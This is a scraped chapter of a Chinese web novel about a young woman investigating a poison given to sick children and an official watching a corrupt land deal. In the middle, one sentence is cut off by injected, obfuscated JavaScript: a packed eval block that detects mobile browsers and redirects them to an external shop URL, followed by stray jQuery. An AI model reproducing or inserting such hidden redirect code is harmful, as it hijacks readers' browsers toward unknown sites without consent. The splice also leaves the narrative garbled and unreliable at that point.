文趣网 > 其他小说 > 救命!我画的小火人在古代爆火了! > 22. 难道还是要开始宅斗了吗?
    李媚姝沉思片刻,还是决定先将药方送去给谢氏。

    往回走的路上,她的脑海里全是方才看到的画面——奶娘、黑袍人、那个油纸包。照方才的情形看,兰姐儿的病和奶娘脱不了干系。难怪她一直不让顾氏抱孩子,还刻意远离自己,原来是心里有鬼,怕被发现。

    但令她没想到的是,那黑袍人竟是二房表哥孙祥的妾室——容小娘。

    按理来说荣小娘无论如何都不会对大房的顾氏下手,除非背后还有什么她不知道的事情。

    待千红将蜡烛熄灭,李媚姝躺在床上盯着帐顶,翻来覆去也想不明白。

    最后她翻了个身,把脸埋进枕头里,闷闷地叹了一声:

    “看来想治好永哥儿和兰姐儿的病,只能从奶娘入手了。”

    顿了顿,她又哀嚎一声:“可我真的不会宅斗啊!”

    翌日一早,江边的柳条被晨风吹起。李媚姝坐在房间里画画稿,就听到门外传来哒哒的跑步声。

    门“吱呀”一声被推开,千红气喘吁吁地跑了进来,将一块帕子递到她面前,兴奋道:

    “小姐,办成了!”

    李媚姝一听,连忙放下笔,既惊喜又不敢置信:“办成了?!你怎么做到的?”

    千红喘了口气,挠了挠头,嘿嘿一笑:“我借口跟奶娘学怎么照看孩子,说日后我们小姐有喜了也能用上……还塞给了她几两碎银,然后假装没站稳,扑到她身上就蹭到了。”

    李媚姝接过帕子,凑近轻嗅,果然上面沾着一股浓浓的异香。她欣喜地摇了摇千红的肩膀:

    “千红,你真是太聪明了!这下我就能查出来是什么药,能让人烧那么久都不退!”

    千红被她夸得有些不好意思,嘿嘿笑了两声,重重地“嗯”了一声,便跟着李媚姝一起翻起了医书。

    可孙府的藏书到底比不上李家,翻了大半天,李媚姝也没找到任何关于这种香味的记载。她抱着脑袋,哀叹一声:

    “这到底是什么啊!”

    千红也满脸倦色,怔怔地盯着桌案上散落的书卷,一言不发。

    李媚姝随意的将帕子拿起,接着灵光一闪,忽地站起身道:

    “我不知道,我还不能去问吗?”于是便拉着千红收拾片刻,就向着府中人打听常州有名的香料与胭脂店,就出门去了。

    千红不解,路上小声问她:“小姐,为什么要去香料铺和胭脂铺,不去药铺呢?”

    李媚姝颇有深意地朝她一笑,低声道:

    “其一呢,我对这种药没有印象,翻遍医书也查不出来,就怀疑它根本不是药,而是香料或胭脂。其二嘛——”

    她顿了顿,“去香料铺掩人耳目,不容易引火上身。我可没有那么聪明,万一被人盯上,说是‘下毒’的帮凶,那可就完蛋了。这可不是在家里。”

    千红听得似懂非懂,但还是觉得很有道理,便点点头,继续跟着李媚姝一家一家地找。

    可接连问了好几家香料铺和胭脂铺,都没有任何进展。

    两人都有些泄气,正打算转去药铺碰碰运气,就听到前面一阵嘈杂。

    李媚姝踮脚望去,只见一个侍从模样的人拿着竹扫帚,正将一个头发凌乱、衣衫褴褛的人从药铺里往外赶。

    “赶紧拿着你这些破烂滚远些!”那人呵斥一声,转身回了药铺。

    四周的人只是淡淡看了一眼地上的乞丐,便各自散去,显然已是见怪不怪。

    李媚姝心里轻叹一声,正打算绕过那人继续往前走,就听到地上传来一道沙哑的声音:

    “小姐是不是在找一种奇特的药?”李媚姝脚步一顿。

    她低头看去,一张满是褶皱的脸正仰头看着她,那浑浊的眼里带着某种说不清道不明的意味。她惊得后退两步。

    “小姐不必惊慌。”那人又开口了,声音像磨过砂纸,“我有小姐要找的答案。家中是否有人一直高烧不退?”李媚姝本不想理会,但脚步却像被钉在了原地。

    那沙哑的声音继续说道:“看来是被我说中了。此药名唤雷藤草,出自百越之地,可磨成粉末洒在衣物上。对成年人无甚大碍,但对七岁以下的孩童而言,却是致命的毒药。久不医治,便会变得痴傻。”

    李媚姝心头一震。

    千红先她一步,厉声呵斥道:“哪里来的怪妇,少在这里吓唬人!”

    那怪妇抬眼看了千红一眼,枯瘦的脸上带着一丝说不清的笑意,千红被那眼神看得心里发毛,忍不住攥紧了衣角。

    李媚姝抬手制止了千红。她压下心底的不安,恭敬地朝那怪妇行了一礼:“方才是我的人无礼了,我向您赔罪。不知……您手上可有解药?”

    那怪妇闻言,忽然仰头大笑起来。那声音尖锐刺耳,像指甲划过石板,让人忍不住皱眉。

    笑够了,她没有直接回答李媚姝的问题,而是反问:“小姐是孙家人?”

    李媚姝心头一跳,联想到奶娘和董氏,没有点头,但也没有否认,只是含糊地说自己与孙家有些亲戚关系。

    怪妇听后,沉默片刻,将身后那只破旧不堪的竹筐往地上一放,慢悠悠地说:“小姐若是肯花二十两买下我筐里的药草,我就告诉你解药。”

    二十两?!

    “二十两?!”李媚姝低头看了看筐里那几株零零散散的降火药,分量少得可怜,顿时瞪大了眼

    “你这要价也太高了吧?这些药哪里值那么多钱?”

    怪妇也不争辩,只是淡淡看了她一眼,默默将竹筐背回身上,转身就要走。

    李媚姝眉头紧锁,想到李瑛霞那张憔悴的面容,一咬牙,说道:“等等!二十两就二十两。

    不过我有个条件——你若拿不出来,那我也不要了!”怪妇缓缓转过身,那双浑浊的眼睛直直盯着李媚姝,问:

    “小姐请说。”

    李媚姝攥紧了手里的帕子,毫不退缩地回视对方:“你手上可有那雷藤草?一并卖给我。”

    怪妇先是一愣,随即又笑了起来。只是这一次,那笑声里少了几分不屑,多了一些说不清的意味。

    “小姐倒是出乎我的意料。”她顿了顿,“雷藤草我有。不过,小姐得跟我回家去拿。不知小姐肯是不肯?”

    千红急了,拉着李媚姝的衣袖小声劝道:“小姐,我看着怪妇就是个骗子,咱们可千万不能上她的当!”

    李媚姝没有理会千红,而是在思索了片刻后,直直看着那怪妇,问:“你住在何处?”

    “城南一家破败的土地庙里。”

    “我只在附近的街市等你,如何?”

    怪妇闻言,脸上露出一丝难以察觉的笑意,转身背对着李媚姝,淡淡说道:

    “小姐跟我来吧。”

    李媚姝深吸一口气,抬脚跟了上去。

    而同样不安的,还有此刻坐在案前翻阅着手中的折本,放下后轻叹了一口气,复拿起。

    一旁的莫圭见了不语,只是转头看向门外,接着双眸微闪,对着赵驰昭说道:

    “王爷,赫大人回来了。”

    赵驰昭抬眼望去,果然看到赫业竹正大步

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548236|204243||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    朝这边走来,心里悬着的石头终于落了地。

    “大人。”赫业竹进门拱手施礼,随即说出了一个让在场两人都大惊失色的消息——

    “大人,那人在房里喝醉酒后,便对着歌女说着自己即将要开扩一片茶场,想来就是粮铺掌柜手里的那片。”

    “这人疯了不成?”莫圭忍不住低声道,“私开茶场是什么罪名,他不知道?”

    赵驰昭倒是神色平静,像是早就料到一般。他揉了揉眉心,缓缓开口:

    “王士隆,扬州人士。王家是扬州世族,其长姐与贾天宝成婚。贾天宝也是因为这个关系,才当上扬州知州。”

    他顿了顿,冷笑一声:“不过是仗着姐夫的势罢了。”

    说完,他起身让赫业竹先去休息,自己则带着莫圭直奔百家粮铺。

    就在赵驰昭到粮铺后不久,一队官兵气势汹汹地赶了过来。为首的参军一脚跨进铺子,冲着杨掌柜大声呵斥:

    “杨掌柜,你知不知道自己犯了什么事?你这粮铺出售的粮食不干净,已经有好几人到府里告你了!你让我很难办啊。”

    杨掌柜闻言露出惊恐的神情来,立即从腰间将一个钱袋掏出,对着那凶恶的参军说道:

    “大人,小人知错了,这些银子就当孝敬您的,这次就放我一马吧。”

    那为首的参军接过杨掌柜手中的钱袋子,掂量了几下才露出满意的笑容来,随即又装腔作势的对着他说道:

    “不过本参军念你初犯,这次就饶你了,下次再有,绝不轻饶!”随即就伴着杨掌柜的点头哈腰的恭维下,走出铺子。

    而还未来得及收回惶恐神情的杨掌柜,就听到门外的一声狂笑声,转头便看到王士隆带着两个侍从站在门外,一副看热闹的表情。

    “杨掌柜,怎么能这么做生意呢?我们生意人,凭的是良心,不是?”

    “你也配我和说讲良心?”杨掌柜冷冷地瞪了他一眼,“王士隆,你要是来落井下石的,就免了!”

    “诶,怎么会呢?”王士隆笑呵呵地跨进铺子,“我这不是来给您支招了嘛。”

    他走到杨掌柜面前,压低声音,满脸坏笑:“先前我说的那个数,再加一万两。不少了,何不回去颐养天年呢?”

    说着,他又凑近一些:“哦对了,掌仙楼最近来了几个新人,届时一并给掌柜的送过去,如何?”

    杨掌柜脸色铁青,沉默了许久,终于长叹一声,冷声道:

    “人就不必送来了。钱就按你说的办。地契我让人送去,你不必再压我了。”

    王士隆眼睛一亮,扬声大笑:

    “哈哈哈哈!早就该这样了嘛!那在下这就去准备银两,等着掌柜的地契!”

    杨掌柜背过身,慢慢往铺子深处走去,背影说不出的落寞。

    入夜,两辆装潢繁复的马车一前一后停在掌仙楼前。

    后面那辆车上走下一个略微肥胖的男子,快步走到前车旁,对着从车上下来的中年男子殷勤道:

    “姐夫,里面请。我让人在三楼备好了美酒,就等着您呢。”

    昏黄的虹灯照在那中年男子脸上——正是扬州知府贾天宝。

    早已候在门口的老鸨一看到来人,立即笑脸相迎,弯着腰将两人引到了二楼,推开那扇通往隐秘角落的门。

    一楼的某个角落,一双深邃的眼睛静静看着那几道人影消失的方向。

    赵驰昭敛下眸光,低声道:“回去。”

    他顿了顿,声音又沉了几分:“看来……得另寻他法了。”